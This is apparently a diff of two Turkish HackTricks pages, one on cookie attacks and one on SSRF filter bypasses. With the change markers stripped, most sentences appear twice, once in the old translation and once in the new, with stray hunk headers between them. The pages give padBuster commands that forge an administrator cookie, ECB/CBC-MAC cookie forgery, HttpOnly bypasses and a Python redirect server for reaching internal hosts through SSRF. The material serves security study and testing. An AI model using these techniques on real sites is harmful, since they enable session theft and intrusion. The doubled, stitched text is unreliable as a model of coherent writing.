Aynı isme sahip iki çerez olduğunda, gönderim için seçilen çerez şu kriterlere dayanır:
Aynı ada sahip iki çerez olduğunda, gönderim için seçilen çerez şu unsurlara dayanır:
* İstenen URL'deki en uzun yola uyan çerez.
* İstenen URL'deki en uzun yolu eşleştiren çerez.
* Yollar aynıysa, en son ayarlanan çerez.
### SameSite
* `SameSite` özelliği, çerezlerin üçüncü taraf alanlarından kaynaklanan isteklerde gönderilip gönderilmeyeceğini belirler. Üç ayar sunar:
* **Strict**: Çerezi üçüncü taraf isteklerinde gönderilmesini kısıtlar.
* **Lax**: Üçüncü taraf web siteleri tarafından başlatılan GET istekleriyle çerezin gönderilmesine izin verir.
* **None**: Çerezi herhangi bir üçüncü taraf alanından göndermeye izin verir.
* `SameSite` özelliği, çerezlerin üçüncü taraf alanlarından kaynaklanan isteklerde gönderilip gönderilmeyeceğini belirler.
* Üç ayar sunar:
* **Strict**: Çerezi üçüncü taraf isteklerinde gönderilmesini kısıtlar.
* **Lax**: Üçüncü taraf web siteleri tarafından başlatılan GET istekleriyle çerezin gönderilmesine izin verir.
* **None**: Çerezi herhangi bir üçüncü taraf alanından göndermeye izin verir.
Çerezleri yapılandırırken, bu özellikleri anlamak, farklı senaryolarda beklenen şekilde davranmalarını sağlamaya yardımcı olabilir.
@ -57,10 +66,10 @@ Aynı isme sahip iki çerez olduğunda, gönderim için seçilen çerez şu krit
| Resim | \<img src="..."> | NetSet\*, None |
Tablo [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) tarafından ve hafifçe değiştirilmiştir.\
_Bir **SameSite** özelliğine sahip çerez, oturum gerektiren CSRF saldırılarını **önleyecektir**._
**SameSite** özelliğine sahip bir çerez, **oturum gerektiren CSRF saldırılarını** **önleyecektir**.
**\*Unutmayın ki Chrome80'den (şubat/2019) itibaren, bir çerezin samesite özelliği olmayan bir çerezin varsayılan davranışı lax olacaktır** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Bu değişiklik uygulandıktan sonra, **Chrome'da SameSite politikası olmayan çerezlerin** **ilk 2 dakika boyunca None** olarak **işlem göreceğini ve ardından üst düzey çapraz site POST isteği için Lax** olarak işlem göreceğini **unutmayın.**
**\*Unutmayın ki Chrome80'den (şubat/2019) itibaren, samesite özelliği olmayan bir çerezin varsayılan davranışı lax olacaktır** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Bu değişiklik uygulandıktan sonra, Chrome'da **Samesite politikası olmayan çerezlerin** **ilk 2 dakika boyunca None** olarak **işlem göreceğini ve ardından üst düzey çapraz site POST isteği için Lax** olarak işlem göreceğini unutmayın.
## Çerez Bayrakları
@ -70,17 +79,17 @@ Bu, **istemcinin** çereze erişmesini engeller (Örneğin **Javascript** aracı
#### **Atlatmalar**
* Eğer sayfa, isteklerin yanıtı olarak çerezleri gönderiyorsa (örneğin bir **PHPinfo** sayfasında), XSS'yi kötüye kullanarak bu sayfaya bir istek gönderip yanıttan çerezleri **çalmak mümkün olabilir** (örneği [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) adresinde bulabilirsiniz).
* Bu, sunucudan gelen yanıt olarak **TRACE** **HTTP** istekleriyle atlatılabilir (bu HTTP yöntemi mevcutsa). Bu teknik **Cross-Site Tracking** olarak adlandırılır.
* Bu teknik, **modern tarayıcılar tarafından JS'den TRACE** isteği göndermeye izin verilmeyerek önlendi. Ancak, IE6.0 SP2 gibi belirli yazılımlarda `\r\nTRACE` yerine `TRACE` göndererek bu kısıtlamaları atlatan bazı yöntemler bulunmuştur.
* Eğer sayfa, çerezleri yanıt olarak gönderiyorsa (örneğin bir **PHPinfo** sayfasında), XSS'i kötüye kullanarak bu sayfaya bir istek gönderip yanıtından çerezleri **çalmak mümkün olabilir** (örneği [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) adresinde bulabilirsiniz).
* Bu, sunucudan gelen yanıt olarak **TRACE** **HTTP** isteklerini göndererek atlatılabilir (bu HTTP yöntemi mevcutsa). Bu teknik **Cross-Site Tracking** olarak adlandırılır.
* Bu teknik, JS'den TRACE isteği göndermeyi engelleyen **modern tarayıcılar tarafından** engellenir. Ancak, IE6.0 SP2 gibi belirli yazılımlarda, bu engellerin bazılarına `\r\nTRACE` göndererek atlanabilir.
* Başka bir yol, tarayıcıların sıfır/gün açıklarının sömürülmesidir.
* Bir Çerez Kavanozu taşması saldırısı gerçekleştirerek **HttpOnly çerezlerin üzerine yazılabilir**:
* Bir Cookie Jar taşması saldırısı gerçekleştirerek **HttpOnly çerezlerin üzerine yazılabilir**:
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %}
* Bu çerezleri dışarıya çıkarmak için [**Çerez Kaçırma**](./#cookie-smuggling) saldırısını kullanmak mümkündür
* Bu çerezleri dışarıya çıkarmak için [**Cookie Smuggling**](./#cookie-smuggling) saldırısını kullanmak mümkündür
### Secure
@ -88,29 +97,29 @@ Bu, **istemcinin** çereze erişmesini engeller (Örneğin **Javascript** aracı
## Çerez Önekleri
`__Secure-` ile başlayan çerezlerin, HTTPS ile korunan sayfalardan gelen sayfalarda `secure` bayrağı ile birlikte ayarlanması gerekmektedir.
`__Secure-` ile başlayan çerezlerin, HTTPS ile korunan sayfalardan gelen `secure` bayrağıyla birlikte ayarlanması gerekmektedir.
`__Host-` ile başlayan çerezler için birkaç koşulun karşılanması gerekmektedir:
`__Host-` ile başlayan çerezler için, birkaç koşulun karşılanması gerekmektedir:
* `secure` bayrağı ile ayarlanmalıdır.
* HTTPS ile korunan bir sayfadan kaynaklanmalıdır.
* Alt alanlara iletilmesini engelleyen bir alan belirtmemelidir.
* Alan belirtilmemelidir, böylece alt alanlara iletilmesi engellenir.
* Bu çerezlerin yolu `/` olarak ayarlanmalıdır.
`__Host-` ile başlayan çerezlerin süper alanlara veya alt alanlara gönderilmesine izin verilmediğini belirtmek önemlidir. Bu kısıtlama, uygulama çerezlerini izole etmeye yardımcı olur. Bu nedenle, tüm uygulama çerezleri için `__Host-` önekini kullanmak, güvenliği ve izolasyonu artırmak için iyi bir uygulama olarak düşünülebilir.
## Çerez Saldırıları
Eğer özel bir çerez hassas veriler içeriyorsa kontrol edin (özellikle bir CTF oynuyorsanız), zira zayıf olabilir.
Eğer özel bir çerez hassas veriler içeriyorsa kontrol edin (özellikle bir CTF oynuyorsanız), çünkü zayıf olabilir.
### Çerezlerin Kodunu Çözme ve Manipüle Etme
Çerezlere gömülmüş hassas veriler her zaman incelenmelidir. Base64 veya benzer formatlarda kodlanmış çerezler genellikle çözülebilir. Bu zayıflık, saldırganların çerez içeriğini değiştirip modifiye ettikleri verileri tekrar çereze kodlayarak diğer kullanıcıları taklit etmelerine olanak tanır.
Çerezlere gömülmüş hassas veriler her zaman incelenmelidir. Base64 veya benzer formatlarda kodlanmış çerezler genellikle çözülebilir. Bu zayıflık, saldırganların çerez içeriğini değiştirip modifiye ettikleri verileri çerez içine kodlayarak başka kullanıcıları taklit etmelerine olanak tanır.
### Oturum Kaçırma (Session Hijacking)
### Oturum Kaçırma
Bu saldırı, bir kullanıcının çerezini çalarak bir uygulamadaki hesabına izinsiz erişim sağlamayı içerir. Çalınan çerez kullanılarak, bir saldırgan meşru kullanıcıyı taklit edebilir.
Bu saldırı, bir kullanıcının çerezini çalarak bir uygulamadaki hesabına izinsiz erişim sağlamayı içerir. Çalınan çerez kullanılarak bir saldırgan meşru kullanıcıyı taklit edebilir.
### Oturum Sabitleme (Session Fixation)
### Oturum Sabitleme
Bu senaryoda, bir saldırgan bir kurbanı belirli bir çerez kullanmaya ikna eder. Uygulama giriş yaptıktan sonra yeni bir çerez atamazsa, saldırgan, orijinal çereze sahip olarak kurbanı taklit edebilir. Bu teknik, kurbanın saldırgan tarafından sağlanan bir çerezle giriş yapmasına dayanır.
@ -120,7 +129,7 @@ Eğer bir **alt alan adında XSS** bulduysanız veya bir **alt alan adını kont
[cookie-tossing.md](cookie-tossing.md)
{% endcontent-ref %}
### Oturum Bağışı (Session Donation)
### Oturum Bağışı
Burada, saldırgan kurbanı saldırganın oturum çerezini kullanmaya ikna eder. Kendi hesabına giriş yaptığına inanan kurban, aslında saldırganın hesabı bağlamında yanlışlıkla işlemler gerçekleştirir.
@ -132,13 +141,13 @@ Eğer bir **alt alan adında XSS** bulduysanız veya bir **alt alan adını kont
### [JWT Çerezleri](../hacking-jwt-json-web-tokens.md)
Potansiyel JWT hatalarınııklayan bir sayfaya erişmek için önceki bağlantıya tıklayın.
JWT'deki olası hatalarııklayan bir sayfaya erişmek için önceki bağlantıya tıklayın.
Çerezlerde kullanılan JSON Web Token'lar (JWT) de zayıflıklar içerebilir. Potansiyel hatalar ve bunları nasıl sömürüleceği hakkında detaylı bilgi için, JWT'yi hacklemekle ilgili belgeye erişmek önerilir.
### Cross-Site Request Forgery (CSRF)
Bu saldırı, oturum açmış bir kullanıcıyı, mevcut kimlik doğrulama yapılmış bir web uygulamasında istenmeyen eylemleri gerçekleştirmeye zorlar. Saldırganlar, her istekle otomatik olarak gönderilen çerezleri sömürebilirler.
Bu saldırı, oturum açmış bir kullanıcıyı, şu anda kimlik doğrulaması yapılmış bir web uygulamasında istenmeyen eylemleri gerçekleştirmeye zorlar. Saldırganlar, her istekle otomatik olarak gönderilen çerezleri sömürebilir.
### Boş Çerezler
@ -156,49 +165,49 @@ document.cookie = `${name}=${value}`;
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
```
#### Chrome Hatası: Unicode Yedek Kod Nokta Sorunu
#### Chrome Hatası: Unicode Yedek Kod Noktası Sorunu
Chrome'da, bir Unicode yedek kod noktası bir set çerezi parçasıysa, `document.cookie` bozulur ve ardından boş bir dize döndürür:
Chrome'da, bir Unicode yedek kod noktası bir set çerezi parçası ise, `document.cookie` bozulur ve ardından boş bir dize döner:
```js
document.cookie = "\ud800=meep";
```
Bu, `document.cookie`'nin boş bir dize çıktısı vermesine neden olarak kalıcı bozulmaya işaret eder.
Bu, `document.cookie`'nin boş bir dize çıktısı vermesine neden olarak kalıcı bir bozulmayı gösterir.
#### Ayrıştırma Sorunları Nedeniyle Çerez Kaçırma
(Daha fazla ayrıntı için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) dahil birçok web sunucusu, eski RFC2965 desteğinden kaynaklanan çerez dizelerini yanlış işler. Çift tırnakla çevrili bir çerez değeri, normalde anahtar-değer çiftlerini ayıran noktalı virgüller içerse bile tek bir değer olarak okunur:
(Daha fazla ayrıntı için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) dahil birçok web sunucusu, eski RFC2965 desteğinden kaynaklanan çerez dizelerini yanlış işler. Çift tırnakla çevrili bir çerez değeri, genellikle anahtar-değer çiftlerini ayıran noktalı virgüller içerse bile, tek bir değer olarak okunur:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Çerez Enjeksiyonu Güvenlik Açıklıkları
(Sonuçları[orijinal araştırmada](https://blog.ankursundara.com/cookie-bugs/) kontrol edin) Sunucuların, özellikle Undertow, Zope ve Python'ın `http.cookie.SimpleCookie` ve `http.cookie.BaseCookie` kullanarak çerezleri yanlış ayrıştırması, çerez enjeksiyon saldırıları için fırsatlar yaratır. Bu sunucular yeni çerezlerin başlangıcını düzgün bir şekilde sınırlamazlar, saldırganlara çerezleri sahtelemelerine olanak tanır:
(Sonuçları[orijinal araştırmada](https://blog.ankursundara.com/cookie-bugs/) kontrol edin) Sunucuların, özellikle Undertow, Zope ve Python'ın `http.cookie.SimpleCookie` ve `http.cookie.BaseCookie` kullanarak çerezleri yanlış ayrıştırması, çerez enjeksiyon saldırıları için fırsatlar yaratır. Bu sunucular, yeni çerezlerin başlangıcını düzgün bir şekilde sınırlamazlar, saldırganlara çerezleri sahteleştirme imkanı tanır:
* Undertow, bir tırnak içindeki bir değerden sonra noktalı virgül olmadan hemen yeni bir çerez bekler.
* Zope, bir sonraki çerezi ayrıştırmaya başlamak için bir virgül arar.
* Python'ın çerez sınıfları, boşluk karakterinde ayrışmaya başlar.
Bu zayıflık, çerez tabanlı CSRF korumasına güvenen web uygulamalarında özellikle tehlikelidir, çünkü saldırganlara sahte CSRF belirteci çerezleri enjekte etmelerine ve güvenlik önlemlerini atlamalarına olanak tanır. Sorun, Python'ın yinelenen çerez adlarını işleme şekli tarafından kötüleştirilir, burada son oluşum öncekileri geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezlerin sahteciliğe duyarlı arka uç sunucularına iletilmesi durumunda yetkilendirme atlamalarına yol açabilir.
Bu zayıflık, çerez tabanlı CSRF korumasına güvenen web uygulamalarında özellikle tehlikelidir, çünkü saldırganlara sahte CSRF belirteci çerezleri enjekte etme imkanı tanır ve güvenlik önlemlerini atlayabilir. Sorun, Python'ın çift çerez adlarını işleme şekli tarafından daha da kötüleştirilir, burada son oluşum öncekileri geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezlerin sahteciliğe duyarlı arka uç sunucularına iletilmesi durumunda yetkilendirme atlamalarına yol açabilir.
### Ekstra Savunmasız Çerez Kontrolleri
### Ekstra Hassas Çerez Kontrolleri
#### **Temel kontroller**
* **Çerez**, her **giriş** yaptığınızda **aynı** olmalıdır.
* **Çerez**, her **girişinizde** **aynı** mıdır?
* Çıkış yapın ve aynı çerezi kullanmaya çalışın.
* Aynı çerezi kullanarak aynı hesaba 2 cihazda (veya tarayıcıda) giriş yapmaya çalışın.
* Çerezde herhangi bir bilgi olup olmadığını kontrol edin ve değiştirmeye çalışın.
* Neredeyse aynı kullanıcı adıyla birkaç hesap oluşturun ve benzerlikleri görebilir misiniz kontrol edin.
* Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Varsa ve savunmasız olabilirse, her zaman sadece **beni hatırla** çerezini kullanın, başka bir çerez olmadan.
* Neredeyse aynı kullanıcı adlarıyla birkaç hesap oluşturun ve benzerlikleri görebilir misiniz kontrol edin.
* Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Varsa ve savunmasız olabilirse, her zaman sadece **beni hatırla** çerezini kullanın, başka çerez olmadan.
* Şifrenizi değiştirdikten sonra önceki çerezin hala çalışıp çalışmadığını kontrol edin.
#### **Gelişmiş çerez saldırıları**
Eğer giriş yaptığınızda çerez aynı kalıyorsa (veya neredeyse aynı), bu muhtemelen çerezin hesabınızın bir alanıyla ilişkili olduğu anlamına gelir (muhtemelen kullanıcı adı). O zaman şunları yapabilirsiniz:
* Çok sayıda **hesap** oluşturun ve kullanıcı adları çok **benzer** olsun ve algoritmanın nasıl çalıştığını **tahmin** etmeye çalışın.
* **Kullanıcı adını brute force** deneyin. Eğer çerez sadece kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezinizin her bir **bitini** brute force edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olacaktır.
* **Padding Oracle** deneyin (çerezin içeriğini şifreleyebilirsiniz). **Padbuster** kullanın.
* Çok benzer kullanıcı adlarıyla birçok **hesap** oluşturun ve algoritmanın nasıl çalıştığını **tahmin etmeye** çalışın.
* **Kullanıcı adını** **bruteforce** etmeye çalışın. Eğer çerez sadece kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezinizin her bir **bitini** tek tek **bruteforce** edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olacaktır.
* **Padding Oracle** deneyin (çerezin içeriğini şifreleyebilirsiniz). **Padbuster**'ı kullanın.
**Padding Oracle - Padbuster örnekleri**
```bash
@ -212,17 +221,17 @@ padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28E
```
Padbuster birkaç deneme yapacak ve hangi koşulun hata koşulu olduğunu soracak (geçerli olmayan).
Daha sonra çerezin şifresini çözmeye başlayacak (birkaç dakika sürebilir).
Daha sonra çerezin şifresini çözmeye başlayacak (birkaç dakika sürebilir)
Saldırı başarıyla gerçekleştirildiyse, istediğiniz bir dizeyi şifrelemeyi deneyebilirsiniz. Örneğin, eğer **user=admin** şifrelemek isterseniz
Saldırı başarılı bir şekilde gerçekleştirildiyse, istediğiniz bir dizeyi şifrelemeyi deneyebilirsiniz. Örneğin, eğer **user=admin**'i **şifrelemek** isterseniz
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
Bu işlem, içinde **user=administrator** dizesi bulunan çerezin doğru bir şekilde şifrelenmiş ve kodlanmış halini verecektir.
Bu işlem, içinde **user=administrator** dizesi bulunan çerezin doğru şekilde şifrelenmiş ve kodlanmış halini verecektir.
**CBC-MAC**
Belki bir çerez bir değere sahip olabilir ve CBC kullanılarak imzalanabilir. Sonra, değerin bütünlüğü, aynı değeri kullanarak CBC kullanarak oluşturulan imza olacaktır. IV olarak bir nul vektörü kullanılması önerildiği için, bu tür bütünlük kontrolü savunmasız olabilir.
Belki bir çerez bir değere sahip olabilir ve CBC kullanılarak imzalanabilir. Ardından, değerin bütünlüğü, aynı değeri kullanarak CBC'yi kullanarak oluşturulan imza olacaktır. IV olarak bir nul vektörü kullanılması önerildiği için, bu tür bütünlük kontrolü savunmasız olabilir.
**Saldırı**
@ -241,23 +250,30 @@ Neredeyse aynı verilere sahip 2 kullanıcı oluşturun (kullanıcı adı, şifr
Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adında bir kullanıcı oluşturun ve çerezde herhangi bir desen olup olmadığını kontrol edin (ECB, her bloğu aynı anahtarla şifrelediği için, kullanıcı adı şifrelendiğinde aynı şifrelenmiş baytlar görünebilir).
Bir desen olmalıdır (kullanılan blok boyutunda). Bu nedenle, bir grup "a"nın nasıl şifrelendiğini bildiğinizde, "a"\*(blok boyutu)+"admin" şeklinde bir kullanıcı adı oluşturabilirsiniz. Sonra, "a" bloğunun şifrelenmiş desenini çerezden silebilirsiniz. Ve kullanıcı adı "admin"in çerezine sahip olabilirsiniz.
Bir desen olmalıdır (kullanılan blok boyutunda). Bu nedenle, bir grup "a"nın nasıl şifrelendiğini bildiğinizde "a"\*(blok boyutu)+"admin" şeklinde bir kullanıcı adı oluşturabilirsiniz. Sonra, "a" bloğunun şifrelenmiş desenini çerezden silebilirsiniz. Ve kullanıcı adı "admin" için çerezi elde edebilirsiniz.
## Referanslar
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme konusunda</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
* Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
</details>

File diff suppressed because one or more lines are too long

View file

@ -2,18 +2,26 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonunu keşfedin (https://opensea.io/collection/the-peass-family)
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Localhost
```bash
# Localhost
@ -161,12 +169,12 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
**recollapse** adlı araç, verilen bir girdiden varyasyonlar oluşturarak kullanılan regex'i atlamayı deneyebilir. Daha fazla bilgi için [bu yazıya](https://0xacb.com/2022/11/21/recollapse/) bakın.
**Recollapse** adlı araç, verilen bir girdiden varyasyonlar oluşturarak kullanılan regex'i atlamayı deneyebilir. Daha fazla bilgi için [bu gönderiye](https://0xacb.com/2022/11/21/recollapse/) bakın.
### Yönlendirme aracılığıyla Atlatma
### Yönlendirme aracılığıyla atlatma
Sunucunun bir SSRF'nin **orijinal isteğini filtreleyebileceği ancak** bu isteğe olası bir **yönlendirme** yanıtını filtrelemediği mümkün olabilir.\
Örneğin, `url=https://www.google.com/` üzerinden SSRF'ye duyarlı bir sunucu, **url parametresini filtreleyebilir**. Ancak istediğiniz yere yönlendirmek için bir [python sunucusuyla 302 yanıtı verirseniz](https://pastebin.com/raw/ywAUhFrv), filtrelenmiş IP adreslerine 127.0.0.1 veya hatta filtrelenmiş **protokollere** gopher gibi **erişebilirsiniz**.\
Sunucunun bir SSRF'nin **orijinal isteğini filtreleyebileceği ancak** bu isteğe olası bir **yönlendirme** yanıtını filtrelemeyebileceği mümkün olabilir.\
Örneğin, `url=https://www.google.com/` üzerinden SSRF'ye duyarlı bir sunucu, **url parametresini filtreleyebilir**. Ancak, istediğiniz yönlendirmeyi yapmak için bir [python sunucusuyla 302 yanıtı verirseniz](https://pastebin.com/raw/ywAUhFrv), filtrelenmiş IP adreslerine 127.0.0.1 veya hatta filtrelenmiş **protokollere** gopher gibi **erişebilirsiniz**.\
[Bu rapora göz atın.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -192,7 +200,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
### Ters Eğik Çizgi Hilesi
_Ters eğik çizgi hilesi_, [WHATWG URL Standardı](https://url.spec.whatwg.org/#url-parsing) ile [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) arasındaki farkı sömürür. RFC3986 genel olarak URİ'ler için bir çerçeve sağlarken, WHATWG web URL'leri için özeldir ve modern tarayıcılar tarafından benimsenmiştir. Temel fark, WHATWG standardının ters eğik çizgiyi (`\`) ileri eğik çizgiye (`/`) eşdeğer olarak tanımasıdır, URL'lerin nasıl ayrıştırıldığını etkileyerek özellikle bir URL'de ana bilgisayar adından yola geçişin işaretlenmesini etkiler.
_Ters eğik çizgi hilesi_, [WHATWG URL Standardı](https://url.spec.whatwg.org/#url-parsing) ile [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) arasındaki farkı sömürür. RFC3986 genel olarak URI'lar için bir çerçeve sağlarken, WHATWG web URL'leri için özeldir ve modern tarayıcılar tarafından benimsenmiştir. Ana fark, WHATWG standardının ters eğik çizgiyi (`\`) ileri eğik çizgiye (`/`) eşdeğer olarak tanımasıdır, URL'lerin nasıl ayrıştırıldığını etkileyerek özellikle bir URL'de ana bilgisayar adından yola geçişin işaretlenmesini etkiler.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
@ -207,16 +215,22 @@ Resim [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confu
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* Şirketinizi HackTricks'te **tanıtmak** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
